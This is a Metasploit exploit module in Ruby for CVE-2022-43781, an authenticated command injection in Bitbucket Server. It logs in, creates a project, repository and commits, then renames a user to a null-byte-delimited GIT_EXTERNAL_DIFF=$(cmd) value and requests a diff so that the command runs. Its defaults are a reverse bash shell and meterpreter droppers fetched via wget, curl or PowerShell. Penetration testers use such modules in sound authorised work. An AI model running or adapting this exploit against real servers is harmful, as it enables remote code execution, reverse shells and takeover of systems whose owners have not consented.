##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Git
  include Msf::Exploit::Git::SmartHttp
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Bitbucket Environment Variable RCE',
        'Description' => %q{
          For various versions of Bitbucket, there is an authenticated command injection
          vulnerability that can be exploited by injecting environment
          variables into a user name. This module achieves remote code execution
          as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
          variable, a null character as a delimiter, and arbitrary code into a user's
          user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
          will be run once the Bitbucket application is coerced into generating a diff.

          This module requires at least admin credentials, as admins and above
          only have the option to change their user name.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ry0taK', # Vulnerability Discovery
          'y4er', # PoC and blog post
          'Shelby Pace' # Metasploit Module
        ],
        'References' => [
          [ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],
          [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],
          [ 'CVE', '2022-43781']
        ],
        'Platform' => [ 'win', 'unix', 'linux' ],
        'Privileged' => true,
        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
        'Targets' => [
          [
            'Linux Command',
            {
              'Platform' => 'unix',
              'Type' => :unix_cmd,
              'Arch' => [ ARCH_CMD ],
              'Payload' => { 'Space' => 254 },
              'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'MaxLineChars' => 254,
              'Type' => :linux_dropper,
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => %i[wget curl],
              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'MaxLineChars' => 254,
              'Type' => :win_dropper,
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => [ :psh_invokewebrequest ],
              'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DisclosureDate' => '2022-11-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(7990),
        OptString.new('USERNAME', [ true, 'User name to log in with' ]),
        OptString.new('PASSWORD', [ true, 'Password to log in with' ]),
        OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'keep_cookies' => true
    )

    return CheckCode::Unknown('Failed to retrieve a response from the target') unless res
    return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')

    nokogiri_data = res.get_html_document
    footer = nokogiri_data&.at('footer')
    return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer

    version_info = footer.at('span')&.children&.text
    return CheckCode::Detected('Failed to find version information in footer section') unless version_info

    vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)
    return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1

    version_str = vers_matches[1]

    vprint_status("Found version #{version_str} of Bitbucket")
    major, minor, revision = version_str.split('.')
    rev_num = revision.to_i

    case major
    when '7'
      case minor
      when '0', '1', '2', '3', '4', '5'
        return CheckCode::Appears
      when '6'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 18
      when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'
        return CheckCode::Appears
      when '17'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 11
      when '18', '19', '20'
        return CheckCode::Appears
      when '21'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 5
      end
    when '8'
      print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')
      case minor
      when '0'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
      when '1'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
      when '2'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 3
      when '3'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 2
      when '4'
        return CheckCode::Appears if rev_num == 0 || rev_num == 1
      end
    end

    CheckCode::Detected
  end

  def default_branch
    @default_branch ||= Rex::Text.rand_text_alpha(5..9)
  end

  def uname_payload(cmd)
    "#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"
  end

  def log_in(username, password)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
      'keep_cookies' => true,
      'vars_post' => {
        'j_username' => username,
        'j_password' => password,
        '_atl_remember_me' => 'on',
        'submit' => 'Log in'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'projects'),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res
    unless res.body.include?('Logged in')
      fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')
    end
  end

  def create_project
    proj_uri = normalize_uri(target_uri.path, 'projects?create')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => proj_uri,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')

    vprint_status('Retrieving security token')
    html_doc = res.get_html_document
    token_data = html_doc.at('div//input[@name="atl_token"]')
    fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data

    @token = token_data['value']
    fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?

    project_name = Rex::Text.rand_text_alpha(5..9)
    project_key = Rex::Text.rand_text_alpha(5..9).upcase
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => proj_uri,
      'keep_cookies' => true,
      'vars_post' => {
        'name' => project_name,
        'key' => project_key,
        'submit' => 'Create project',
        'atl_token' => @token
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)

    print_status('Project creation was successful')
    [ project_name, project_key ]
  end

  def create_repository
    repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => repo_uri,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res

    html_doc = res.get_html_document

    dropdown_data = html_doc.at('li[@class="user-dropdown"]')
    fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?
    email = dropdown_data&.at('span')&.[]('data-emailaddress')
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?

    repo_name = Rex::Text.rand_text_alpha(5..9)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => repo_uri,
      'keep_cookies' => true,
      'vars_post' => {
        'name' => repo_name,
        'defaultBranchId' => default_branch,
        'description' => '',
        'scmId' => 'git',
        'forkable' => 'false',
        'atl_token' => @token,
        'submit' => 'Create repository'
      }
    )

    fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res
    res = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')
    )

    fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404
    print_good("Successfully created repository '#{repo_name}'")

    [ email, repo_name ]
  end

  def generate_repo_objects(email, repo_file_data = [], parent_object = nil)
    txt_data = Rex::Text.rand_text_alpha(5..20)
    blob_object = GitObject.build_blob_object(txt_data)
    file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"

    file_data = {
      mode: '100755',
      file_name: file_name,
      sha1: blob_object.sha1
    }

    tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])
    tree_obj = GitObject.build_tree_object(tree_data)
    commit_obj = GitObject.build_commit_object({
      tree_sha1: tree_obj.sha1,
      email: email,
      message: Rex::Text.rand_text_alpha(4..30),
      parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)
    })

    {
      objects: [ commit_obj, tree_obj, blob_object ],
      file_data: file_data
    }
  end

  # create two files in two separate commits in order
  # to view a diff and get code execution
  def create_commits(email)
    init_objects = generate_repo_objects(email)
    commit_obj = init_objects[:objects].first

    refs = {
      'HEAD' => "refs/heads/#{default_branch}",
      "refs/heads/#{default_branch}" => commit_obj.sha1
    }

    final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)
    repo_objects = final_objects[:objects] + init_objects[:objects]
    new_commit = final_objects[:objects].first
    new_file = final_objects[:file_data][:file_name]

    git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")
    res = send_receive_pack_request(
      git_uri,
      refs['HEAD'],
      repo_objects,
      '0' * 40 # no commits should exist yet, so no branch tip in repo yet
    )

    fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res
    fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')
    fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')

    [ new_commit.sha1, commit_obj.sha1, new_file ]
  end

  def get_user_id(curr_uname)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin/users/view'),
      'vars_get' => { 'name' => curr_uname }
    )

    matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)
    fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1

    matched_id[1]
  end

  def change_username(curr_uname, new_uname)
    @user_id ||= get_user_id(curr_uname)

    headers = {
      'X-Requested-With' => 'XMLHttpRequest',
      'X-AUSERID' => @user_id,
      'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
    }

    vars = {
      'name' => curr_uname,
      'newName' => new_uname
    }.to_json

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),
      'ctype' => 'application/json',
      'keep_cookies' => true,
      'headers' => headers,
      'data' => vars
    )

    unless res
      print_bad('Did not receive a response to the user name change request')
      return false
    end

    unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')
      print_bad('User name change was unsuccessful')
      return false
    end

    true
  end

  def commit_uri(project_key, repo_name, commit_sha)
    normalize_uri(
      target_uri.path,
      'rest/api/latest/projects',
      project_key,
      'repos',
      repo_name,
      'commits',
      commit_sha
    )
  end

  def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)
    commit_diff_uri = normalize_uri(
      commit_uri(@project_key, @repo_name, latest_commit_sha),
      'diff',
      diff_file
    )

    send_request_cgi(
      'method' => 'GET',
      'uri' => commit_diff_uri,
      'keep_cookies' => true,
      'vars_get' => { 'since' => first_commit_sha }
    )
  end

  def delete_repository(username)
    vprint_status("Attempting to delete repository '#{@repo_name}'")
    repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)
    res = send_request_cgi(
      'method' => 'DELETE',
      'uri' => repo_uri,
      'keep_cookies' => true,
      'headers' => {
        'X-AUSERNAME' => username,
        'X-AUSERID' => @user_id,
        'X-Requested-With' => 'XMLHttpRequest',
        'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
        'ctype' => 'application/json',
        'Accept' => 'application/json, text/javascript'
      }
    )

    unless res&.body&.include?('scheduled for deletion')
      print_warning('Failed to delete repository')
      return
    end

    print_good('Repository has been deleted')
  end

  def delete_project(username)
    vprint_status("Now attempting to delete project '#{@project_name}'")
    send_request_cgi( # fails to return a response
      'method' => 'DELETE',
      'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
      'keep_cookies' => true,
      'headers' => {
        'X-AUSERNAME' => username,
        'X-AUSERID' => @user_id,
        'X-Requested-With' => 'XMLHttpRequest',
        'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
        'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",
        'ctype' => 'application/json',
        'Accept' => 'application/json, text/javascript, */*; q=0.01',
        'Accept-Encoding' => 'gzip, deflate'
      }
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
      'keep_cookies' => true
    )

    unless res&.code == 404
      print_warning('Failed to delete project')
      return
    end

    print_good('Project has been deleted')
  end

  def get_repo
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
      'keep_cookies' => true
    )

    unless res
      print_status('Couldn\'t access repos page. Will create repo')
      return []
    end

    json_data = JSON.parse(res.body)
    unless json_data && json_data['size'] >= 1
      print_status('No accessible repositories. Will attempt to create a repo')
      return []
    end

    repo_data = json_data['values'].first
    repo_name = repo_data['slug']
    project_key = repo_data['project']['key']

    unless repo_name && project_key
      print_status('Could not find repo name and key. Creating repo')
      return []
    end

    [ repo_name, project_key ]
  end

  def get_repo_info
    unless @project_name && @project_key
      print_status('Failed to find valid project information. Will attempt to create repo')
      return nil
    end

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),
      'keep_cookies' => true
    )

    unless res
      print_status("Failed to access existing repository #{@project_name}")
      return nil
    end

    html_doc = res.get_html_document
    commit_data = html_doc.search('a[@class="commitid"]')
    unless commit_data && commit_data.length > 1
      print_status('No commits found for existing repo')
      return nil
    end

    latest_commit = commit_data[0]['data-commitid']
    prev_commit = commit_data[1]['data-commitid']

    file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => file_uri,
      'keep_cookies' => true
    )

    return nil unless res

    json = JSON.parse(res.body)
    return nil unless json['values']

    path = json['values']&.first&.dig('path')
    return nil unless path

    [ latest_commit, prev_commit, path['name'] ]
  end

  def exploit
    @use_public_repo = true
    datastore['GIT_USERNAME'] = datastore['USERNAME']
    datastore['GIT_PASSWORD'] = datastore['PASSWORD']

    if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
      fail_with(Failure::BadConfig, 'No credentials to log in with.')
    end

    log_in(datastore['USERNAME'], datastore['PASSWORD'])
    @curr_uname = datastore['USERNAME']

    @project_name, @project_key = get_repo
    @repo_name = @project_name
    @latest_commit, @first_commit, @diff_file = get_repo_info
    unless @latest_commit && @first_commit && @diff_file
      @use_public_repo = false
      @project_name, @project_key = create_project
      email, @repo_name = create_repository
      @latest_commit, @first_commit, @diff_file = create_commits(email)
      print_good("Commits added: #{@first_commit}, #{@latest_commit}")
    end

    print_status('Sending payload')
    case target['Type']
    when :win_dropper
      execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')
    when :linux_dropper
      execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)
    when :unix_cmd
      execute_command(payload.encoded.strip)
    end
  end

  def cleanup
    if @curr_uname != datastore['USERNAME']
      print_status("Changing user name back to '#{datastore['USERNAME']}'")

      if change_username(@curr_uname, datastore['USERNAME'])
        @curr_uname = datastore['USERNAME']
      else
        print_warning('User name is still set to payload.' \
                      "Please manually change the user name back to #{datastore['USERNAME']}")
      end
    end

    unless @use_public_repo
      delete_repository(@curr_uname) if @repo_name
      delete_project(@curr_uname) if @project_name
    end
  end

  def execute_command(cmd, _opts = {})
    if target['Platform'] == 'win'
      curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))
    else
      curr_payload = uname_payload(cmd)
    end

    unless change_username(@curr_uname, curr_payload)
      fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')
    end

    view_commit_diff(@latest_commit, @first_commit, @diff_file)
    @curr_uname = curr_payload
  end
end
